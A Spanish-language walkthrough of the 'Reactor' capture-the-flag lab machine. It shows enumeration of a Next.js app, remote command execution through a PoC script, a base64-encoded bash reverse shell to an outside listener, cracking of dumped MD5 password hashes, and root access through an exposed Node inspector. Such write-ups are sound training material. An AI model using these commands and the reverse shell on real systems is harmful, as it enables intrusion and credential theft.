Ir al contenido

Reactor

Autor
Santiago Chavarro

Enumeración
#

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sun, 24 May 2026 01:38:26 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sun, 24 May 2026 01:38:27 GMT
|     Connection: close
|   Help, NCP: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close

Puerto 3000
#

![[Pasted image 20260523213729.png]]

Con Wappalizer podemos ver que esta usando Next.js 15.0.3 y Node pero no tenemos la version.

Node version
#

Para encontrar la version de node tuve que instalar la extension React Developer Tools recargamos la pagina y en las herramientas de desarrollador tenemos la version:

![[Pasted image 20260523213955.png]]

Es la 19.0.0 la cual es perfectamente vulnerable

Usuario
#

Para esto vamos a estar usando primero para obtener ejecución de comandos y posteriormente una shell una PoC

$ python3 main.py http://10.129.1.209:3000

500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}

$ python3 penelope.py

$ python3 main.py http://10.129.3.178:3000 "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTMwLzQ0NDQgMD4mMSkgJg==|base64 -d|bash"

node@reactor:/opt/reactor-app$ sqlite3 reactor.db
sqlite> select * from users;

1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Ahora podemos romper el hash de engineer con john en este caso se trata de un has tipo MD5:

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

reactor1         (?) # Password

$ ssh engineer@10.129.3.178

Root
#

engineer@reactor:~$ ps aux

root        1366  0.0  1.2 1067732 50196 ?       Ssl  14:38   0:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Vemos que s esta ejecutando como root y que podemos ejecutar comandos según HackTricks

$ nc -lvnp 4444

engineer@reactor:~$ node inspect 127.0.0.1:9229

debug> repl
> process.mainModule.require('child_process').execSync('printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTMwLzQ0NDQgMD4mMSkgJg==|base64 -d|bash').toString()

$ whoami
root

Referencias
#